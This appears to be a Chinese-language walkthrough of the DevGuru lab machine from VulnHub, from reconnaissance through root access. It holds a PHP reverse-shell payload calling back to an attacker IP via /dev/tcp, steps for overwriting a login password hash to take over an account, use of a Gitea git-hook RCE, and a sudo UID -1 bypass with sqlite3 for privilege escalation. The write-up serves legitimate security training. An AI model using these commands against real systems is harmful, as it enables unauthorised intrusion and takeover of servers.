前期准备
靶机地址:https://www.vulnhub.com/entry/devguru-1,620/
kali攻击机IP:192.168.11.128
靶机IP:192.168.11.130
一、信息收集
1.使用nmap对目标靶机进行扫描
开了 22、80、8585 端口。发现 git 目录,且提示做解析:
192.168.11.130 devguru.local
2. 80 端口
发现用的是 October CMS。先扫一下目录:
发现 October CMS 的后台页面:/backend/backend/auth/signin
没有用户名密码,尝试简单爆破一下也没爆破出来,可能在 /.git/ 目录中有线索。使用 GitHack 把 git 目录下载下来,重建还原源代码,看看有什么信息:
访问一下上面的这些页面和查看配置文件等:
adminer.php:
是个数据库的登陆界面。查一下下载的目录下有没有用户名和密码,在 /config/database.php 文件中找到了,也可以用 grep 找下:
username:october
password:SQ66EBYx4GT3byXH
database:octoberdb
登录 adminer.php 页面:
打开 user 表,发现有条用户数据:
用户名:frank
密码:$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK
分析一下是什么类型的哈希。找了很久只找到这个网站能分析出大部分的哈希加密算法。
用的是 bcrypt 算法。尝试用同种类型的自己生成一个密码替换掉,就能登录到 October 的后台页面了。使用 bcrypt 加密算法(网上搜bcrypt在线加密就有不少)生成一个密码:
点击 edit 替换掉原有的 hash 值并保存:
使用替换的密码登录后台页面:http://devguru.local/backend/backend/auth/signin
用户名:frank
密码:password1
看了一下,发现这里可以上传文件和新建、修改 htm 页面,先试了下上传文件:
尝试了几次,都上传不了 shell 文件,那就从 htm 页面下手看看。看了一下 October CMS 的官方文档,
发现他可以写入 PHP。尝试写入反弹 shell 并 nc 监听:
function onStart()
{ echo exec('bash -c "bash -i >& /dev/tcp/192.168.11.128/1234 0>&1"');
}
访问写入 shell 的页面:
升级一下 shell,并查看一下文件。
查看 SUID 权限:
没什么好用的,上传 linpeas.sh 文件跑一下发现没有好利用的。想起还有个 8585 端口。
3. 8585 端口
发现是 Gitea Version: 1.12.5。查一下有没有漏洞:
发现有个 RCE 漏洞,不过需要先认证。在刚才连接的 shell 中找下 Gitea 的用户名密码:
/var 下有个备份目录,发现里面有 app.ini.bak 。app.ini 是 gitea 的配置文件,安装过 gitea 的应该比较熟悉,里面是配置库路径和数据库连接等信息:
在 app.ini.bak 中发现 gitea 数据库的用户名和密码:
user:gitea
passwd:UfFPTF8C8jjxVF2m
在之前的数据库页面中登录:
和之前不同的是,这里使用的是 pbkdf2 加密,不过看 gitea 配置文件中也是支持 bcrypt 算法的 更改下 gitea 数据库中 user 表中 frank 用户的密码:
登录 gitea:
利用 Gitea Version: 1.12.5 的 RCE 漏洞,可参考 https://github.com/p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce。 中的示例,当然也可以直接跑这个脚本:
1、要有一个存储库
2、进入Settings -> Git Hooks -> Post Receive Hook
3、写一个 shell 脚本
保存后,提交一个更改后的文件,我这里是修改了一下 README.md 文件。并 nc 监听。修改并提交的这个操作相当于:
$ git clone http://devguru.local:8585/tiago/Test.git
$ cd Test
$ touch test.txt
$ git add .
$ git commit -am "Primeiro commmit"
$ git push origin master
直接在页面上修改提交方便些:
随便修改下并保存:
监听成功,升级一下 shell。
4.提权
得到 frank 用户权限。查看 SUID 权限和 sudoers:
发现可以以 root 身份运行 sqlite3,不过要求输入密码。看下 sudo 的版本:
发现这个版本有漏洞:
Example: sudo -u#-1 /bin/bash
上面这个例子其实就是使用其他用户权限来执行命令。由于指定用户为 UID=-1。 -1 被解析为无符号整数,所以也就等同于 root 用户(UID=0)
结合 sqlite3 的命令
得到:sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'
:
'sudo -u#-1' :指定一个负数UID,利用漏洞将其解析为 UID=0(root权限)。
'sqlite3 /dev/null':使用 sqlite3 打开一个虚拟数据库(在 /dev/null 中)。
'.shell /bin/bash:利用 SQLite 的 .shell 功能,启动一个 bash,从而得到 root 权限。
得到 root 权限和 flag。